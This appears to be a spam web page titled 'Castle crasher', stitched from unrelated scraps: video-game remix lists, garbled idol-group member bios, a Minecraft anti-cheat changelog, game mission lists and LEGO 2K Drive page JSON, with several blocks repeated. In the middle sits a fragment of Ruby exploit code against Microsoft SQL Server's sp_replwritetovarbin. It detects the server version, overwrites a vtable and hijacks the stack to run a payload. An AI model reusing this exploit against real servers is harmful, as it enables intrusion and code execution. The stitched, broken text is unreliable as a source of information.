Castle crasher

Author: f | 2025-04-24

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Castle crashers remix by EpicEricEnderman; Castle crashers remix by jhlee2025; Castle crashers by thepieguy92; Castle crashers remix by HecticBOOM46; Castle Crashers by Carson ; Castle Crashers Golden sword mod 0.74 by pawnpower2025; Castle crashers remix by sc ; Castle crashers remix by Tayller ; Castle crashers remix by FreddyFrazzleBear; Castle Crashers V1.1 by cryingchild; Castle crashers hacked by SebastionArthur; Castle crashers remix by Kaden_Kuhn812;

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AUDITION 5. Former member of Crasher kidz." data-src=" src=" 1, 1999(age 25)TokyoVocalist, performerConcurrent BALLISTIK BOYZ member and winner of GLOBAL JAPAN CHALLENGE." data-src=" src=" 12, 1999(age 25)OsakaARapper, performer" data-src=" src=" 23, 2000(age 25)FukuokaConcurrent BALLISTIK BOYZ member and finalist of VOCAL BATTLE AUDITION 5. Former member of Crasher kidz." data-src=" src=" 17, 2000(age 24)OsakaVocalist, performerConcurrent BALLISTIK BOYZ member and winner of GLOBAL JAPAN CHALLENGE." data-src=" src=" 9, 1997(age 27)OsakaAJuly 13, 2022Perfomer, rapperConcurrent PSYCHIC FEVER member and former member of EXILE GENERATIONS and Imaichi Ryuji's performance team." data-src=" src=" 8, 1998(age 26)HyogoOConcurrent PSYCHIC FEVER member and former member of EXILE GENERATIONS, Crasher kidz and Tosaka Hiroomi's performance team." data-src=" src=" 8, 2000(age 25)KanagawaConcurrent PSYCHIC FEVER member and former member of Tosaka Hiroomi's performance team." data-src=" src=" 26, 2000(age 25)AichiAConcurrent PSYCHIC FEVER member and former member of EXILE GENERATIONS, Crasher kidz and Imaichi Ryuji's performance team." data-src=" src=" 9, 2000(age 24)OkinawaOVocalist, performerConcurrent PSYCHIC FEVER member and former member of EXILE GENERATIONS and Crasher kidz." data-src=" src=" 1, 2001(age 23)KanagawaAPerformer, rapperConcurrent PSYCHIC FEVER member and former member of Crasher kidz." data-src=" src=" 26, 2004(age 21)AichiOVocalist, performer" data-src=" src=" (岩城星那)October 21, 2004(age 20)OsakaOJanuary 11, 2023Vocal, performerConcurrent LIL LEAGUE member and winner of iCON Z ~Dreams For Children~." data-src=" src=" (中村竜大)November 27, 2004(age 20)FukuokaB" data-src=" src=" (山田晃大)August 10, 2005(age 19)Fukuoka" data-src=" src=" (岡尾真虎)May 7, 2008(age 16)KyotoO" data-src=" src=" (百田隼麻)May 15, 2008(age 16)Osaka" data-src=" src=" (難波 碧空)January 21, 2009(age 16)KanagawaAB" data-src=" src=" (夫松健介)July 29, 2003(age 21)OsakaAAugust 23, 2023Vocalist, performerConcurrent KID PHENOMENON member and finalist in the first chapter of the iCON Z ~Dreams For Children~ audition." data-src=" src=" (遠藤翼空)May 14, 2004(age 20)KanagawaB" data-src=" src=" (岡尾琥珀)December 18, 2005(age 19)KyotoORapper, performer" data-src=" src=" (川口蒼真)September 27, 2006(age 18)KyotoB" data-src=" src=" (佐藤峻乃介)November 15, 2006(age 18)ChibaAB" data-src=" src=" (山本光汰)March 19, 2007(age 18)OsakaOVocalist, performer" data-src=" src=" (鈴木瑠偉)August 31, 2007(age 17)MiyagiRapper, performer" data-src=" src=" 7, 1997(age 28)PhilippinesN/AVocalist, performerConcurrent THE JET BOY BANGERZ member and finalist in the first chapter of the iCON Z ~Dreams For Children~ audition." data-src=" src=" 16, 2001(age 24)OsakaConcurrent THE JET BOY BANGERZ and DEEP SQUAD member" data-src=" src=" 31, 2001(age 23)ChibaConcurrent THE JET BOY BANGERZ member and finalist in the first chapter of the iCON Z ~Dreams For Children~ audition." data-src=" src=" 25, 1996(age 28)KochiRapper, performerN/A" data-src=" src=" 14, 2000(age 25)Ibaraki" data-src=" src=" 19, 2000(age 24)Fukushima" data-src=" src=" 20, 2004(age 21)Kyoto" data-src=" src=" 10, 2005(age 20)Osaka" data-src=" src=" 22, 2005(age 19)IbarakiConcurrent THE JET BOY BANGERZ member and finalist in the

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2.7.0-beta Update 2.7.0-betaSorry for the delay but with the new update of 1.19.60, Minecraft has patched inventory transaction exploits. Meaning hackers cant give them items, or change nbt on items in there inventory. This update secures our realms and servers so much that it might bring a lot of realm and server developers back to Minecraft!So with this update i have removed many protections such as cbe, unobtainable and nbt, removing these improves the performance of Rubedo, and will make rubedo a lot more simpler to deal with. Also, protection crasher has been removed, as this will be implemented into protection movement and the crasher protection we had was kinda bad lmao.Change Log:Removed Protection cbe, unobtainable, nbtChanged protection movement, and spam to be off by default and will required to be enabled using -settingsRemove Protection crasherUpdated Database to Bedrock-Database 2.0 v2.6.7-beta Update 2.5.7-betaFinally 2.5.7 is here hopefully we can all feel a sense of relief with this update. Also make sure to submit bug reports as soon as possible here #bugsAlso please be very detailed with these reports so I can fix them fast.Change Log:Updated Anti Movement to work and be compatible with lag, making it work really well!Fixed a bug where you couldn't open the crasher, or nbt menu of the automod menuFixed Chests and Trapped Chests from breaking when trying to make a double chestUpdated Fail message when using /function start to also tell that you need to enabled all expermentalsMade Anti Movement Ignore movement when player has used riptideFixed Kick Message not working on worldsRemoved Ender Chest Viewer, to reduce lag and improve performaceAdded has function (for playerLog)Fixed Kick Message from not showingAdded Anti-Phase to movement protection.Made some Speed Improvements to some utility functionsMade Unobtainable protection fasterFixed a bug with dimensional y switch in anti movement 2.6.5-beta Changelog:Moved files around...Fixed protections/unobtainable to use its own config system instead of using cbe. v2.6.4-beta Rubedo 2.6.4FIXED HUGE MEMORY LEAK... Caused by the new Database system, and a lot of async await.Changelog:Converted betweenXYZ to betweenVector3 ( thanks to @mrpatches123#0348 for showing this looks like betweenXYZ is ~80% slower lmao )Converted almost 200+ functions back to normal getAdded alternate options for database get getSync etc.Added logging for gamemode protectionAdded actual event orders and made protections not load until database loadsUpdated Forms to show faster and to reduce lag when loadingImproved Script performance across the whole pack.has_container_open now uses component_groups to improve script performaceImproved performance for Chest GUIUpdated -ping command to show actuate information for Ticks Per Second. v2.6.3-beta UPDATE RECOMMENDED....Change-log:Removed from ping command in READEM.mdAdded documentation for -role owner in README.mdFixed syntax for example of -mute command in README.mdRemoved "api.Providers.form.invalidFormtype" & "api.ChestGUI.error.pagenotfound" in src/lang/text.tsReworded "modules.managers.mute.isMuted" => §cYou've been temporarily muted in chat.Moved awaitWorldLoad & onWorldLoad from src\lib\database\utils to src\utilsRecoded ecwipe command, command now will run all commands instead of awaiting every run, this makes the command 27x fasterAdded §a to the success statement for the ecwipe commandAdded §a to the unlock statement for the lockdown commandRecoded events/playerJoin to now use awaitWorldLoad

Castle Crashers - Castle Crashers Free Weekend

Not going to help.TKI wasn't counting on it.RayThat ain't fair, you know I couldn't help, they would have killed me.TKHey Ray - it's cool, you know, it's history. Come on, I'll buy you one of those foamy coffee things you like.Navigation[]Missions in Driver: Parallel Lines[edit] [ShowHide]1978 EraNickel and Dime • Wheelman • Gunman • Pay Ray • Hot Wheels • Repoman • Bread Run • Last Chance • Rosalita Racer • Paddy Wagon • Circuit Breaker • Turning The Screw • Air Mail • Jail Break • Gift Wrapped • Kidnap • Ransom2006 EraThe Mexican • Tailgate • Guardian Angel • Gauntlet • Rush Hour • Ram Raider • Shell Shock • Gate Crasher • Riding Shotgun • Slink • Bishop • Candy • Bear Cage • Home Wrecker • CorriganSide-JobsVariables1978 and 2006EasyMediumHardStreet Race - EasySteal to Order - EasyStreet Race - MediumSteal to Order - MediumStreet Race - HardSteal to Order - Hard1978 onlyEasyMediumHardLoan Shark - EasyLoan Shark - MediumLoan Shark - Red2006 onlyEasyMediumHardHitman - EasyHitman - MediumHitman - RedPermanently Available1978 and 2006Circuit Races • Checkpoint Races • Perfect Delivery • Taxi Driver • Driver GP • Stick Up • Demolition Survival • Getaway Survival1978 onlyDemolition SurvivalCategoriesMissions • 1978 Era Missions • 2006 Era Missions. Castle crashers remix by EpicEricEnderman; Castle crashers remix by jhlee2025; Castle crashers by thepieguy92; Castle crashers remix by HecticBOOM46; Castle Crashers by Carson ; Castle Crashers Golden sword mod 0.74 by pawnpower2025; Castle crashers remix by sc ; Castle crashers remix by Tayller ; Castle crashers remix by FreddyFrazzleBear; Castle Crashers V1.1 by cryingchild; Castle crashers hacked by SebastionArthur; Castle crashers remix by Kaden_Kuhn812;

THE WORLD OF CASTLE CRASHERS! (Castle Crashers w/

Up to a whole lot of damage.Give the competition an eight-legged fright with the Web Crasher, which covers their windshield with a plastic web full of spiders to obstruct their view, slow them down, and deal a bit of damage to boot! If there's no one nearby when you activate this Power-Up, it'll drop onto the track as a sneaky trap, afflicting anyone who drives through it with a face full of arachnids. If you get webbed yourself, simply mash the Jump button to quickly shake off the creepy-crawlies.\n"],"bodyTextAlign":[0],"bodyTextAlignMobile":[0],"small":[0],"smallTextAlign":[0,"center"],"smallTextAlignMobile":[0,"center"],"links":[1,[]],"linksAlign":[0,"center"],"linksAlignMobile":[0,"center"],"video":[0],"copyBlockMaxWidth":[0],"customMaxWidth":[0]}],"layoutDirectionDesktop":[0,"row-reverse"],"layoutDirectionMobile":[0,"column"],"customMaxWidth":[0],"wrapperMaxWidth":[0],"alignContent":[0],"enableMobileStretchedLayout":[0],"mobileStretchedLayoutHeight":[0],"mobileStretchedLayoutAlign":[0],"item":[0,{"imageMobile":[0,{"title":[0,"LEGO 2K Drive Features Web Crasher"],"src":[0,"//assets.2k.com/1a6ngf98576c/57y9Hw15mN8sRpZi9EPLP/ff7c66fdf07edfb9d93b658955723bfa/Artemis_Power-ups_Web-Crasher_Mobile_828x466px.png"],"height":[0,466],"width":[0,828]}],"imageDesktop":[0,{"title":[0,"LEGO 2K Drive Features Web Crasher"],"src":[0,"//assets.2k.com/1a6ngf98576c/5QtrP9hsqtpxUuie1Vwt2j/1a39eb21cf88c2ec2452900553a90f1e/Artemis_Power-ups_Web-Crasher_Desktop_1216x684px.png"],"height":[0,684],"width":[0,1216]}],"is":[0,"bc-image-set"],"category":[0,null]}],"componentName":[0,"bc-featured-content-section"],"styleVariant":[0,"orange-road"],"divider":[0,"white-double"],"backgroundImage":[0]}],"contentTransform":[0]}" ssr="" client="visible" opts="{"name":"BcPageSection","value":true}" await-children="">WEB CRASHERGive the competition an eight-legged fright with the Web Crasher, which covers their windshield with a plastic web full of spiders to obstruct their view, slow them down, and deal a bit of damage to boot! If there's no one nearby when you activate this Power-Up, it'll drop onto the track as a sneaky trap, afflicting anyone who drives through it with a face full of arachnids. If you get webbed yourself, simply mash the Jump button to quickly shake off the creepy-crawlies.Cackle as you cause chaos on the course with the potent Square Wheels Power-Up! When activated, your opponent's regular round tires will magically turn into clunky square blocks, drastically reducing their speed while you race ahead unhindered. "],"bodyTextAlign":[0],"bodyTextAlignMobile":[0],"small":[0],"smallTextAlign":[0,"center"],"smallTextAlignMobile":[0,"center"],"links":[1,[]],"linksAlign":[0,"center"],"linksAlignMobile":[0,"center"],"video":[0],"copyBlockMaxWidth":[0],"customMaxWidth":[0]}],"layoutDirectionDesktop":[0,"row"],"layoutDirectionMobile":[0,"column"],"customMaxWidth":[0],"wrapperMaxWidth":[0],"alignContent":[0],"enableMobileStretchedLayout":[0],"mobileStretchedLayoutHeight":[0],"mobileStretchedLayoutAlign":[0],"item":[0,{"imageMobile":[0,{"title":[0,"LEGO 2K Drive Features Square Wheels"],"src":[0,"//assets.2k.com/1a6ngf98576c/NmCVNbQ9kSUgYw1BjcgZ3/dfc274e1296cde5f3c0d304da5cd4292/Artemis_Power-ups_Square-Wheels_Mobile_828x466px.png"],"height":[0,466],"width":[0,828]}],"imageDesktop":[0,{"title":[0,"LEGO 2K Drive Features Square Wheels"],"src":[0,"//assets.2k.com/1a6ngf98576c/3VH1d39JRVcBFG4TVHtKNx/e4d3fa1b2bea6941760bb2e36bd2eacd/Artemis_Power-ups_Square-Wheels_Desktop_1216x684px.png"],"height":[0,684],"width":[0,1216]}],"is":[0,"bc-image-set"],"category":[0,null]}],"componentName":[0,"bc-featured-content-section"],"styleVariant":[0,"left-aligned-mountains"],"divider":[0,"white-double"],"backgroundImage":[0]}],"contentTransform":[0]}" ssr="" client="visible" opts="{"name":"BcPageSection","value":true}" await-children="">SQUARE WHEELSCackle as you cause chaos on the course with the potent Square Wheels Power-Up! When activated, your opponent's regular round tires will magically turn into clunky square blocks, drastically reducing their speed while you race ahead unhindered. Even if you find yourself trailing behind the pack during a race, don't count yourself out—the Teleport Power-Up could turn your fortunes around in a flash. Using it will shoot you into an interdimensional wormhole that spits you out ahead of the nearest racer, putting you right back in the action!"],"bodyTextAlign":[0],"bodyTextAlignMobile":[0],"small":[0],"smallTextAlign":[0,"center"],"smallTextAlignMobile":[0,"center"],"links":[1,[]],"linksAlign":[0,"center"],"linksAlignMobile":[0,"center"],"video":[0],"copyBlockMaxWidth":[0],"customMaxWidth":[0]}],"layoutDirectionDesktop":[0,"row-reverse"],"layoutDirectionMobile":[0,"column"],"customMaxWidth":[0],"wrapperMaxWidth":[0],"alignContent":[0],"enableMobileStretchedLayout":[0],"mobileStretchedLayoutHeight":[0],"mobileStretchedLayoutAlign":[0],"item":[0,{"imageMobile":[0,{"title":[0,"LEGO 2K Drive Features Teleport"],"src":[0,"//assets.2k.com/1a6ngf98576c/4X1wbbBgRdwbz7vv80WaRR/c8c48b5d23a15e8d494ea544ad1bf82d/Artemis_Power-ups_Warp_Mobile_828x466px.png"],"height":[0,466],"width":[0,828]}],"imageDesktop":[0,{"title":[0,"LEGO 2K Drive Features Teleport"],"src":[0,"//assets.2k.com/1a6ngf98576c/59ydTg3zZPfQzn465paNM0/bbba5fcc185a07db3b08aaa72e6d7459/Artemis_Power-ups_Warp_Desktop_1216x684px.png"],"height":[0,684],"width":[0,1216]}],"is":[0,"bc-image-set"],"category":[0,null]}],"componentName":[0,"bc-featured-content-section"],"styleVariant":[0,"road-with-tracks"],"divider":[0,"white-double"],"backgroundImage":[0]}],"contentTransform":[0]}" ssr="" client="visible" opts="{"name":"BcPageSection","value":true}" await-children="">TELEPORTEven if you find yourself trailing behind the pack during a race, don't count yourself out—the Teleport Power-Up could turn your fortunes around in a flash. Using it will shoot you into an interdimensional wormhole that spits you out ahead of the nearest racer, putting you right back in the action!

The Castle Crashers Mod 1.1.0 - The Castle Crashers Mod

Target.name =~ /Automatic/ print_status("Attempting automatic target detection...") version = mssql_query_version raise RuntimeError, "Unable to get version!" if not version if (version =~ /8\.00\.194/) mytarget = targets[1] elsif (version =~ /8\.00\.384/) mytarget = targets[2] elsif (version =~ /8\.00\.534/) mytarget = targets[3] elsif (version =~ /8\.00\.760/) mytarget = targets[4] elsif (version =~ /8\.00\.2039/) mytarget = targets[5] elsif (version =~ /9\.00\.1399\.06/) mytarget = targets[6] elsif (version =~ /9\.00\.2047\.00/) mytarget = targets[7] elsif (version =~ /9\.00\.3042\.00/) mytarget = targets[8] end if mytarget.nil? raise RuntimeError, "Unable to automatically detect the target" else print_status("Automatically detected target "#{mytarget.name}"") end else mytarget = target end sqlquery = %Q|declare @i int,@z nvarchar(4000)set @z='declare @e int,@b varbinary,@l int;'set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'exec sp_executesql @z| # just crash it with a pattern buffer if the CRASHER target is selected.. if mytarget.name == 'CRASHER' sploit = Rex::Text.pattern_create(2048) print_status("Attempting to corrupt memory to cause an exception!") num = 32 else # trigger the memory corruption num = mytarget['Num'] vt_off = mytarget['VtOff'] vt_disp = mytarget['VtDisp'] vtable = mytarget['Vtable'] ecx_disp = mytarget['Disp'] esp_off = mytarget['Offset'] hijack_esp = mytarget['ecx2esp'] first_esp = mytarget['Popped'] fix_esp = mytarget['FixESP'] writable = mytarget['Writable'] corruptable_bytes = 0x44 # make sploit buff sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length #sploit = Rex::Text.pattern_create(sz) sploit = rand_text_alphanumeric(sz) # remove displacement! (using call [ecx+displacement]) vtable_off = (num + vt_off) sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V') # stack -> heap hijack_off = vtable_off + ecx_disp sploit[hijack_off,4] = [hijack_esp].pack('V') # becomes eax on mssql 2ksp4 (prevent crash) sploit[(vtable_off-4),4] = [writable].pack('V') # becomes eip after esp hijack fixesp_off = vtable_off + first_esp sploit[fixesp_off,4] = [fix_esp].pack('V') # rest of magic stack (disable DEP?) stack_off = vtable_off + esp_off stack = [] stack 0 ret += "char(" ret delay) return nil end # Now we test the SQL Server versions versions = %w[8.00.194 8.00.384

Macro Castle Crashers Lightweight Jiuggle for Castle Crashers

Diablo 2 Character Editor v1.0 - Darrylįile Archive - External Link - Can return a false AV Positive! File = Clean!ĭiablo 2 & D2: LoD BNET/FSGS Gateway Changerĭiablo 2: LoD Multiple Copy Enabler - ThrawNĭiablo 2 & D2: LoD Editor v2.1 - CellarChild2000ĭiablo 2 d2nutcracker v2.16 - xodacĪuto-Imbue will imbue any items that are imbueable in your character's knapsack.Diablo 2 Character Editor v0.4 Beta - Stealth.Diablo 2 Character Editor v1.2 - JinXed.Diablo 2 Console Character Editor v1.01 - PFG.Diablo 2 Savegame Editor v1.5� - The-Wall.Diablo 2 Hardcore Resurrection Utility 1.0 - Spul.Diablo 2 Character Editor v1.4 - Damien.Diablo 2 Server Scanner & Crasher - Muffin.Diablo 2 SaveGame Editor v1.0 - DVNISO.Diablo 2 Diabolixz Trainer 0.015� - Co$MiXz.Diablo 2 - Horadric Mage Trainer - Archangel.Diablo 2 Save Game Editor v1.70 - Juicy.Diablo 2 Mastertool v1.55 - MasterUltima.Diablo 2 & D2: LoD Editor v2.1 - CellarChild2000.Diablo 2: LoD Multiple Copy Enabler - ThrawN.Diablo 2 & D2: LoD BNET/FSGS Gateway Changer.Game or Patch Questions? Visit FileForums. Castle crashers remix by EpicEricEnderman; Castle crashers remix by jhlee2025; Castle crashers by thepieguy92; Castle crashers remix by HecticBOOM46; Castle Crashers by Carson ; Castle Crashers Golden sword mod 0.74 by pawnpower2025; Castle crashers remix by sc ; Castle crashers remix by Tayller ; Castle crashers remix by FreddyFrazzleBear; Castle Crashers V1.1 by cryingchild; Castle crashers hacked by SebastionArthur; Castle crashers remix by Kaden_Kuhn812;

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User6137

AUDITION 5. Former member of Crasher kidz." data-src=" src=" 1, 1999(age 25)TokyoVocalist, performerConcurrent BALLISTIK BOYZ member and winner of GLOBAL JAPAN CHALLENGE." data-src=" src=" 12, 1999(age 25)OsakaARapper, performer" data-src=" src=" 23, 2000(age 25)FukuokaConcurrent BALLISTIK BOYZ member and finalist of VOCAL BATTLE AUDITION 5. Former member of Crasher kidz." data-src=" src=" 17, 2000(age 24)OsakaVocalist, performerConcurrent BALLISTIK BOYZ member and winner of GLOBAL JAPAN CHALLENGE." data-src=" src=" 9, 1997(age 27)OsakaAJuly 13, 2022Perfomer, rapperConcurrent PSYCHIC FEVER member and former member of EXILE GENERATIONS and Imaichi Ryuji's performance team." data-src=" src=" 8, 1998(age 26)HyogoOConcurrent PSYCHIC FEVER member and former member of EXILE GENERATIONS, Crasher kidz and Tosaka Hiroomi's performance team." data-src=" src=" 8, 2000(age 25)KanagawaConcurrent PSYCHIC FEVER member and former member of Tosaka Hiroomi's performance team." data-src=" src=" 26, 2000(age 25)AichiAConcurrent PSYCHIC FEVER member and former member of EXILE GENERATIONS, Crasher kidz and Imaichi Ryuji's performance team." data-src=" src=" 9, 2000(age 24)OkinawaOVocalist, performerConcurrent PSYCHIC FEVER member and former member of EXILE GENERATIONS and Crasher kidz." data-src=" src=" 1, 2001(age 23)KanagawaAPerformer, rapperConcurrent PSYCHIC FEVER member and former member of Crasher kidz." data-src=" src=" 26, 2004(age 21)AichiOVocalist, performer" data-src=" src=" (岩城星那)October 21, 2004(age 20)OsakaOJanuary 11, 2023Vocal, performerConcurrent LIL LEAGUE member and winner of iCON Z ~Dreams For Children~." data-src=" src=" (中村竜大)November 27, 2004(age 20)FukuokaB" data-src=" src=" (山田晃大)August 10, 2005(age 19)Fukuoka" data-src=" src=" (岡尾真虎)May 7, 2008(age 16)KyotoO" data-src=" src=" (百田隼麻)May 15, 2008(age 16)Osaka" data-src=" src=" (難波 碧空)January 21, 2009(age 16)KanagawaAB" data-src=" src=" (夫松健介)July 29, 2003(age 21)OsakaAAugust 23, 2023Vocalist, performerConcurrent KID PHENOMENON member and finalist in the first chapter of the iCON Z ~Dreams For Children~ audition." data-src=" src=" (遠藤翼空)May 14, 2004(age 20)KanagawaB" data-src=" src=" (岡尾琥珀)December 18, 2005(age 19)KyotoORapper, performer" data-src=" src=" (川口蒼真)September 27, 2006(age 18)KyotoB" data-src=" src=" (佐藤峻乃介)November 15, 2006(age 18)ChibaAB" data-src=" src=" (山本光汰)March 19, 2007(age 18)OsakaOVocalist, performer" data-src=" src=" (鈴木瑠偉)August 31, 2007(age 17)MiyagiRapper, performer" data-src=" src=" 7, 1997(age 28)PhilippinesN/AVocalist, performerConcurrent THE JET BOY BANGERZ member and finalist in the first chapter of the iCON Z ~Dreams For Children~ audition." data-src=" src=" 16, 2001(age 24)OsakaConcurrent THE JET BOY BANGERZ and DEEP SQUAD member" data-src=" src=" 31, 2001(age 23)ChibaConcurrent THE JET BOY BANGERZ member and finalist in the first chapter of the iCON Z ~Dreams For Children~ audition." data-src=" src=" 25, 1996(age 28)KochiRapper, performerN/A" data-src=" src=" 14, 2000(age 25)Ibaraki" data-src=" src=" 19, 2000(age 24)Fukushima" data-src=" src=" 20, 2004(age 21)Kyoto" data-src=" src=" 10, 2005(age 20)Osaka" data-src=" src=" 22, 2005(age 19)IbarakiConcurrent THE JET BOY BANGERZ member and finalist in the

2025-04-24
User7878

2.7.0-beta Update 2.7.0-betaSorry for the delay but with the new update of 1.19.60, Minecraft has patched inventory transaction exploits. Meaning hackers cant give them items, or change nbt on items in there inventory. This update secures our realms and servers so much that it might bring a lot of realm and server developers back to Minecraft!So with this update i have removed many protections such as cbe, unobtainable and nbt, removing these improves the performance of Rubedo, and will make rubedo a lot more simpler to deal with. Also, protection crasher has been removed, as this will be implemented into protection movement and the crasher protection we had was kinda bad lmao.Change Log:Removed Protection cbe, unobtainable, nbtChanged protection movement, and spam to be off by default and will required to be enabled using -settingsRemove Protection crasherUpdated Database to Bedrock-Database 2.0 v2.6.7-beta Update 2.5.7-betaFinally 2.5.7 is here hopefully we can all feel a sense of relief with this update. Also make sure to submit bug reports as soon as possible here #bugsAlso please be very detailed with these reports so I can fix them fast.Change Log:Updated Anti Movement to work and be compatible with lag, making it work really well!Fixed a bug where you couldn't open the crasher, or nbt menu of the automod menuFixed Chests and Trapped Chests from breaking when trying to make a double chestUpdated Fail message when using /function start to also tell that you need to enabled all expermentalsMade Anti Movement Ignore movement when player has used riptideFixed Kick Message not working on worldsRemoved Ender Chest Viewer, to reduce lag and improve performaceAdded has function (for playerLog)Fixed Kick Message from not showingAdded Anti-Phase to movement protection.Made some Speed Improvements to some utility functionsMade Unobtainable protection fasterFixed a bug with dimensional y switch in anti movement 2.6.5-beta Changelog:Moved files around...Fixed protections/unobtainable to use its own config system instead of using cbe. v2.6.4-beta Rubedo 2.6.4FIXED HUGE MEMORY LEAK... Caused by the new Database system, and a lot of async await.Changelog:Converted betweenXYZ to betweenVector3 ( thanks to @mrpatches123#0348 for showing this looks like betweenXYZ is ~80% slower lmao )Converted almost 200+ functions back to normal getAdded alternate options for database get getSync etc.Added logging for gamemode protectionAdded actual event orders and made protections not load until database loadsUpdated Forms to show faster and to reduce lag when loadingImproved Script performance across the whole pack.has_container_open now uses component_groups to improve script performaceImproved performance for Chest GUIUpdated -ping command to show actuate information for Ticks Per Second. v2.6.3-beta UPDATE RECOMMENDED....Change-log:Removed from ping command in READEM.mdAdded documentation for -role owner in README.mdFixed syntax for example of -mute command in README.mdRemoved "api.Providers.form.invalidFormtype" & "api.ChestGUI.error.pagenotfound" in src/lang/text.tsReworded "modules.managers.mute.isMuted" => §cYou've been temporarily muted in chat.Moved awaitWorldLoad & onWorldLoad from src\lib\database\utils to src\utilsRecoded ecwipe command, command now will run all commands instead of awaiting every run, this makes the command 27x fasterAdded §a to the success statement for the ecwipe commandAdded §a to the unlock statement for the lockdown commandRecoded events/playerJoin to now use awaitWorldLoad

2025-04-24
User8894

Up to a whole lot of damage.Give the competition an eight-legged fright with the Web Crasher, which covers their windshield with a plastic web full of spiders to obstruct their view, slow them down, and deal a bit of damage to boot! If there's no one nearby when you activate this Power-Up, it'll drop onto the track as a sneaky trap, afflicting anyone who drives through it with a face full of arachnids. If you get webbed yourself, simply mash the Jump button to quickly shake off the creepy-crawlies.\n"],"bodyTextAlign":[0],"bodyTextAlignMobile":[0],"small":[0],"smallTextAlign":[0,"center"],"smallTextAlignMobile":[0,"center"],"links":[1,[]],"linksAlign":[0,"center"],"linksAlignMobile":[0,"center"],"video":[0],"copyBlockMaxWidth":[0],"customMaxWidth":[0]}],"layoutDirectionDesktop":[0,"row-reverse"],"layoutDirectionMobile":[0,"column"],"customMaxWidth":[0],"wrapperMaxWidth":[0],"alignContent":[0],"enableMobileStretchedLayout":[0],"mobileStretchedLayoutHeight":[0],"mobileStretchedLayoutAlign":[0],"item":[0,{"imageMobile":[0,{"title":[0,"LEGO 2K Drive Features Web Crasher"],"src":[0,"//assets.2k.com/1a6ngf98576c/57y9Hw15mN8sRpZi9EPLP/ff7c66fdf07edfb9d93b658955723bfa/Artemis_Power-ups_Web-Crasher_Mobile_828x466px.png"],"height":[0,466],"width":[0,828]}],"imageDesktop":[0,{"title":[0,"LEGO 2K Drive Features Web Crasher"],"src":[0,"//assets.2k.com/1a6ngf98576c/5QtrP9hsqtpxUuie1Vwt2j/1a39eb21cf88c2ec2452900553a90f1e/Artemis_Power-ups_Web-Crasher_Desktop_1216x684px.png"],"height":[0,684],"width":[0,1216]}],"is":[0,"bc-image-set"],"category":[0,null]}],"componentName":[0,"bc-featured-content-section"],"styleVariant":[0,"orange-road"],"divider":[0,"white-double"],"backgroundImage":[0]}],"contentTransform":[0]}" ssr="" client="visible" opts="{"name":"BcPageSection","value":true}" await-children="">WEB CRASHERGive the competition an eight-legged fright with the Web Crasher, which covers their windshield with a plastic web full of spiders to obstruct their view, slow them down, and deal a bit of damage to boot! If there's no one nearby when you activate this Power-Up, it'll drop onto the track as a sneaky trap, afflicting anyone who drives through it with a face full of arachnids. If you get webbed yourself, simply mash the Jump button to quickly shake off the creepy-crawlies.Cackle as you cause chaos on the course with the potent Square Wheels Power-Up! When activated, your opponent's regular round tires will magically turn into clunky square blocks, drastically reducing their speed while you race ahead unhindered. "],"bodyTextAlign":[0],"bodyTextAlignMobile":[0],"small":[0],"smallTextAlign":[0,"center"],"smallTextAlignMobile":[0,"center"],"links":[1,[]],"linksAlign":[0,"center"],"linksAlignMobile":[0,"center"],"video":[0],"copyBlockMaxWidth":[0],"customMaxWidth":[0]}],"layoutDirectionDesktop":[0,"row"],"layoutDirectionMobile":[0,"column"],"customMaxWidth":[0],"wrapperMaxWidth":[0],"alignContent":[0],"enableMobileStretchedLayout":[0],"mobileStretchedLayoutHeight":[0],"mobileStretchedLayoutAlign":[0],"item":[0,{"imageMobile":[0,{"title":[0,"LEGO 2K Drive Features Square Wheels"],"src":[0,"//assets.2k.com/1a6ngf98576c/NmCVNbQ9kSUgYw1BjcgZ3/dfc274e1296cde5f3c0d304da5cd4292/Artemis_Power-ups_Square-Wheels_Mobile_828x466px.png"],"height":[0,466],"width":[0,828]}],"imageDesktop":[0,{"title":[0,"LEGO 2K Drive Features Square Wheels"],"src":[0,"//assets.2k.com/1a6ngf98576c/3VH1d39JRVcBFG4TVHtKNx/e4d3fa1b2bea6941760bb2e36bd2eacd/Artemis_Power-ups_Square-Wheels_Desktop_1216x684px.png"],"height":[0,684],"width":[0,1216]}],"is":[0,"bc-image-set"],"category":[0,null]}],"componentName":[0,"bc-featured-content-section"],"styleVariant":[0,"left-aligned-mountains"],"divider":[0,"white-double"],"backgroundImage":[0]}],"contentTransform":[0]}" ssr="" client="visible" opts="{"name":"BcPageSection","value":true}" await-children="">SQUARE WHEELSCackle as you cause chaos on the course with the potent Square Wheels Power-Up! When activated, your opponent's regular round tires will magically turn into clunky square blocks, drastically reducing their speed while you race ahead unhindered. Even if you find yourself trailing behind the pack during a race, don't count yourself out—the Teleport Power-Up could turn your fortunes around in a flash. Using it will shoot you into an interdimensional wormhole that spits you out ahead of the nearest racer, putting you right back in the action!"],"bodyTextAlign":[0],"bodyTextAlignMobile":[0],"small":[0],"smallTextAlign":[0,"center"],"smallTextAlignMobile":[0,"center"],"links":[1,[]],"linksAlign":[0,"center"],"linksAlignMobile":[0,"center"],"video":[0],"copyBlockMaxWidth":[0],"customMaxWidth":[0]}],"layoutDirectionDesktop":[0,"row-reverse"],"layoutDirectionMobile":[0,"column"],"customMaxWidth":[0],"wrapperMaxWidth":[0],"alignContent":[0],"enableMobileStretchedLayout":[0],"mobileStretchedLayoutHeight":[0],"mobileStretchedLayoutAlign":[0],"item":[0,{"imageMobile":[0,{"title":[0,"LEGO 2K Drive Features Teleport"],"src":[0,"//assets.2k.com/1a6ngf98576c/4X1wbbBgRdwbz7vv80WaRR/c8c48b5d23a15e8d494ea544ad1bf82d/Artemis_Power-ups_Warp_Mobile_828x466px.png"],"height":[0,466],"width":[0,828]}],"imageDesktop":[0,{"title":[0,"LEGO 2K Drive Features Teleport"],"src":[0,"//assets.2k.com/1a6ngf98576c/59ydTg3zZPfQzn465paNM0/bbba5fcc185a07db3b08aaa72e6d7459/Artemis_Power-ups_Warp_Desktop_1216x684px.png"],"height":[0,684],"width":[0,1216]}],"is":[0,"bc-image-set"],"category":[0,null]}],"componentName":[0,"bc-featured-content-section"],"styleVariant":[0,"road-with-tracks"],"divider":[0,"white-double"],"backgroundImage":[0]}],"contentTransform":[0]}" ssr="" client="visible" opts="{"name":"BcPageSection","value":true}" 